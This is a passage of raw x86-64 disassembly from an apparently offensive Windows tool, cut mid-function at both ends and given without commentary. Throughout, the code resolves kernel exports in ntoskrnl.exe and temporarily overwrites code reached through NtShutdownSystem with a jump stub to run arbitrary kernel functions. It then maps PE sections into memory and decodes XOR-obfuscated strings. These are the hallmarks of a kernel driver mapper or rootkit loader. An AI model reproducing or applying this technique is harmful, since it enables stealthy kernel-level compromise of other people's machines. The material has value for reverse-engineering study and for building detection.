mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b25f
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp + 0x58], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 8], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x14000a945
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.PsGetProcessPeb
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b213
inc edi
inc rbx
cmp edi, r15d
jb 0x14000a920
lea rcx, [rbp + 0xdd0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe90]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x14000a7c0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae48], rbx
lea rcx, [0x14001aea0]
call fcn.1400122a8
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae48]
mov eax, dword [r13]
cmp dword [0x14001b014], eax
jle 0x14000a9fb
lea rcx, [0x14001b014]
call fcn.140012308
cmp dword [0x14001b014], 0xffffffff
jne 0x14000a9fb
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001af88], rax
lea rcx, [0x14001b014]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001adc0], eax
jle 0x14000aa40
lea rcx, [0x14001adc0]
call fcn.140012308
cmp dword [0x14001adc0], 0xffffffff
jne 0x14000aa40
lea rcx, [0x14001af20]
call fcn.140002270
lea rcx, [0x140013ef0]
call fcn.140012650
lea rcx, [0x14001adc0]
call fcn.1400122a8
lea rcx, [0x14001af20]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c524
mov dword [rbp + 0x15b0], 0x25ff
mov word [rbp + 0x15b4], ax
mov qword [rbp + 0x15b6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1630]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15b0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rax, qword [0x14001af88]
mov rcx, rsi
call rax
mov rbx, rax
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1630]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001af20]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rbp + 0x9b0]
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x2c8
lea r8, [rbp + 0x9b0]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rdx, qword [rbp + 0x9c8]
test rdx, rdx
je 0x14000b0ad
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
movups xmmword [rbp + 0x570], xmm0
movups xmmword [rbp + 0x580], xmm0
mov r9d, 0x30
lea r8, [rbp + 0x560]
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rbx, qword [rbp + 0x580]
test rbx, rbx
je 0x14000b0ad
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x540]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rax, qword [rbp + 0x540]
cmp rax, qword [rbp + 0x580]
je 0x14000acbd
mov rdi, qword [rbp + 0x40]
nop dword [rax]
test rax, rax
je 0x14000acbd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x650], xmm0
movups xmmword [rbp + 0x660], xmm0
movups xmmword [rbp + 0x670], xmm0
movups xmmword [rbp + 0x680], xmm0
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x6a0], xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
mov qword [rbp + 0x6d0], rax
lea rdx, [rbx - 0x10]
mov r9d, 0x88
lea r8, [rbp + 0x650]
lea rcx, [rbp + 0xc98]
call fcn.140004240
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x18a0]
call sub.VCRUNTIME140.dll_memset
movzx eax, word [rbp + 0x6a8]
add rax, rax
mov r9d, 0x200
cmp rax, r9
cmovb r9, rax
lea r8, [rbp + 0x18a0]
mov rdx, qword [rbp + 0x6b0]
lea rcx, [rbp + 0xc98]
call fcn.140004240
lea rax, [rbp + 0x18a0]
mov r8, rdi
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ac74
add rax, 2
test ecx, ecx
jne 0x14000ac60
test edx, edx
je 0x14000b27d
mov rbx, qword [rbp + 0x540]
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x540]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rax, qword [rbp + 0x540]
cmp rax, qword [rbp + 0x580]
jne 0x14000aba0
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x18], rdi
mov eax, dword [r13]
cmp dword [0x14001ada8], eax
jle 0x14000af73
lea rcx, [0x14001ada8]
call fcn.140012308
cmp dword [0x14001ada8], 0xffffffff
jne 0x14000af73
mov r13, r14
mov dword [rbp + 0x50c], r14d
lea r9, [rbp + 0x50c]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000ad6f
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50c]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x50c]
mov r8d, dword [rbp + 0x50c]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000ad20
test eax, eax
js 0x14000af40
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x14000af40
nop dword [rax + rax]
mov qword [rbp + 0x50], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx edx, word [rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, r13
lea rcx, [rbp + 0xed0]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xed0]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000af22
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xd10]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x4e8]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xd10]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xd10]
call fcn.14000e700
nop
lea rcx, [rbp + 0x4e8]
call fcn.14000e070
lea rcx, [rbp + 0xd10]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b729
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b729
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b729
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp + 0x58], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 8], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x14000af15
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.ObfDereferenceObject
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b6dd
inc edi
inc rbx
cmp edi, r15d
jb 0x14000aef0
lea rcx, [rbp + 0xd10]
call fcn.14000e070
nop
lea rcx, [rbp + 0xed0]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x14000ad90
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae28], rbx
lea rcx, [0x14001ada8]
call fcn.1400122a8
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae28]
mov eax, dword [r13]
cmp dword [0x14001b010], eax
jle 0x14000afcb
lea rcx, [0x14001b010]
call fcn.140012308
cmp dword [0x14001b010], 0xffffffff
jne 0x14000afcb
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ad30], rax
lea rcx, [0x14001b010]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001ad20], eax
jle 0x14000b016
lea rcx, [0x14001ad20]
call fcn.140012308
cmp dword [0x14001ad20], 0xffffffff
jne 0x14000b016
mov edx, 2
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140013ee0]
call fcn.140012650
lea rcx, [0x14001ad20]
call fcn.1400122a8
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c51b
mov dword [rbp + 0x1590], 0x25ff
mov word [rbp + 0x1594], ax
mov qword [rbp + 0x1596], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1660]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1590]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rcx, rsi
call qword [0x14001ad30]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1660]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rbx, r14
lea rcx, [rbp + 0x4c8]
call fcn.140002710
test rbx, rbx
jne 0x14000b750
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000a2a0
mov rax, qword [rbp + 0x18]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x48], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xd90]
call fcn.14000e070
nop
lea rcx, [rbp + 0xef0]
call fcn.14000e070
jmp 0x140009e74
lea rcx, [rbp + 0xd90]
call fcn.14000e070
nop
lea rcx, [rbp + 0xef0]
call fcn.14000e070
jmp 0x140009e71
mov rax, qword [rbp + 0x18]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x48], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xdb0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe50]
call fcn.14000e070
jmp 0x140009984
lea rcx, [rbp + 0xdb0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe50]
call fcn.14000e070
jmp 0x140009981
mov rax, qword [rbp + 0x18]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp + 0x50]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x58], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xdf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe70]
call fcn.14000e070
jmp 0x14000a584
lea rcx, [rbp + 0xdf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe70]
call fcn.14000e070
jmp 0x14000a581
mov rax, qword [rbp + 8]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp + 0x58]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x50], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xdd0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe90]
call fcn.14000e070
jmp 0x14000a984
lea rcx, [rbp + 0xdd0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe90]
call fcn.14000e070
jmp 0x14000a981
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x18], rdi
mov eax, dword [r13]
cmp dword [0x14001ada8], eax
jle 0x14000b533
lea rcx, [0x14001ada8]
call fcn.140012308
cmp dword [0x14001ada8], 0xffffffff
jne 0x14000b533
mov r13, r14
mov dword [rbp + 0x510], r14d
lea r9, [rbp + 0x510]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000b32f
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x510]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x510]
mov r8d, dword [rbp + 0x510]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000b2e0
test eax, eax
js 0x14000b500
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x14000b500
nop dword [rax + rax]
mov qword [rbp + 0x50], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx eax, word [rbx + 0x2e]
add rax, r13
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xeb0]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xeb0]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000b4e2
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xcf0]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x388]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xcf0]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xcf0]
call fcn.14000e700
nop
lea rcx, [rbp + 0x388]
call fcn.14000e070
lea rcx, [rbp + 0xcf0]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b6bf
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b6bf
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b6bf
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp + 0x58], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 8], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x14000b4d5
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.ObfDereferenceObject
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b673
inc edi
inc rbx
cmp edi, r15d
jb 0x14000b4b0
lea rcx, [rbp + 0xcf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xeb0]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x14000b350
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae28], rbx
lea rcx, [0x14001ada8]
call fcn.1400122a8
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae28]
mov eax, dword [r13]
cmp dword [0x14001b010], eax
jle 0x14000b58b
lea rcx, [0x14001b010]
call fcn.140012308
cmp dword [0x14001b010], 0xffffffff
jne 0x14000b58b
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ad30], rax
lea rcx, [0x14001b010]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001ad20], eax
jle 0x14000b5d0
lea rcx, [0x14001ad20]
call fcn.140012308
cmp dword [0x14001ad20], 0xffffffff
jne 0x14000b5d0
lea rcx, [0x14001aec0]
call fcn.140002270
lea rcx, [0x140013ee0]
call fcn.140012650
lea rcx, [0x14001ad20]
call fcn.1400122a8
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000b747
mov dword [rbp + 0x15a0], 0x25ff
mov word [rbp + 0x15a4], ax
mov qword [rbp + 0x15a6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1620]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15a0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rcx, rsi
call qword [0x14001ad30]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1620]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rbx, qword [rbp + 0x680]
jmp 0x14000b0b0
mov rax, qword [rbp + 8]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp + 0x58]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x50], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xcf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xeb0]
call fcn.14000e070
jmp 0x14000b514
lea rcx, [rbp + 0xcf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xeb0]
call fcn.14000e070
jmp 0x14000b511
mov rax, qword [rbp + 8]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp + 0x58]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x50], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xd10]
call fcn.14000e070
nop
lea rcx, [rbp + 0xed0]
call fcn.14000e070
jmp 0x14000af54
lea rcx, [rbp + 0xd10]
call fcn.14000e070
nop
lea rcx, [rbp + 0xed0]
call fcn.14000e070
jmp 0x14000af51
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + 8]
mov r12, qword [rbp + 0xc0]
cmp dword [r12 + 0x50], eax
jbe 0x14000b865
movabs rax, 0xf29da9cb496740e7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
movabs rax, 0xe8ff21fe447ddb79
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs rax, 0x36576177721793a0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
movabs rcx, 0x7656751b6e2b338a
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12e0], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12e8], rax
movabs rax, 0x36576b561770e1c1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12f0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12f8], rax
vmovdqu ymm0, ymmword [rbp + 0x12e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140001260
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov esi, dword [rcx + 0xc]
add rsi, 0x1000
add rsi, rbx
and rsi, 0xfffffffffffff000
mov r8, r12
mov rdx, qword [rbp + 0xc8]
mov rcx, rsi
call fcn.140004bf0
test al, al
jne 0x14000b8a6
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, dword [r12 + 0x50]
mov r8, rsi
mov r15, qword [rbp]
mov rdx, r15
lea rcx, [rbp + 0xc98]
call fcn.140005f20
mov r8d, dword [r12 + 0x50]
mov rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.140004840
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [r12 + 0x50]
mov rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.140004840
movzx eax, word [r12 + 0x14]
lea rbx, [r12 + 0x18]
add rbx, rax
mov edi, r14d
movabs r9, 0x7c2650635e0b0da7
cmp r14w, word [r12 + 6]
movabs r12, 0x8f62a5f520fc46b4
jae 0x14000baec
movabs rax, 0xa289a9c905430acc
movabs rcx, 0xf0bc2bc2103ac679
movabs rdx, 0x165e1873371e8ea8
mov r13, qword [rbp + 0xc0]
movabs r15, 0x7656751b6e2b338a
movabs r14, 0x36576b561770e1c1
nop
cmp dword [rbx + 0x10], 0
je 0x14000bac4
mov r8d, dword [rbx + 0xc]
add r8, rsi
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 8], r9
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b8], rax
movabs rcx, 0x4425f418f8262d8b
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1400], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1408], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1410], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1418], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1420], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1428], rax
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x1420]
vmovdqa xmmword [rbp + 0x2c0], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.140001260
mov r9d, dword [rbx + 0x10]
mov r8d, dword [rbx + 0x14]
add r8, qword [rbp + 0xc8]
mov edx, dword [rbx + 0xc]
add rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.140004440
movabs rcx, 0xf0bc2bc2103ac679
movabs rdx, 0x165e1873371e8ea8
movabs r9, 0x7c2650635e0b0da7
add rbx, 0x28
inc edi
movzx eax, word [r13 + 6]
cmp edi, eax
movabs rax, 0xa289a9c905430acc
jl 0x14000b960
xor r14d, r14d
mov r15, qword [rbp]
mov r13, qword [rbp + 0x30]
mov rdi, qword [rbp + 0xc0]
mov r9d, dword [rdi + 0x54]
mov r8, qword [rbp + 0xc8]
mov rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.140004440
mov ebx, dword [rdi + 0x28]
add rbx, rsi
movabs rax, 0xbe95a9c705430acc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x260], rax
movabs rax, 0xf6ab20f4103ac679
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x268], rax
movabs rax, 0x1623053f7800c1b8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x270], rax
movabs rax, 0x7c2650635e0b0da7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x278], rax
movabs rcx, 0x4425f418f8262d8b
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x280], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x288], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13c0], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13c8], rax
movabs rax, 0x36576b561770e1c1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13d0], rax
movabs rax, 0x7656751b6e2b338a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13d8], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13e8], rax
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqa xmm0, xmmword [rbp + 0x280]
vpxor xmm0, xmm0, xmmword [rbp + 0x13e0]
vmovdqa xmmword [rbp + 0x280], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x260]
vzeroupper
call fcn.140001260
mov r9, rsi
mov r8, rbx
mov rdx, r15
lea rcx, [rbp + 0xc98]
call fcn.140007060
movabs rax, 0xa08da6c105430acc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xa4ab20f85f2d8869
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x52320524620484b3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x7656751b6e2b3380
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xd2f9c8a4251e2197
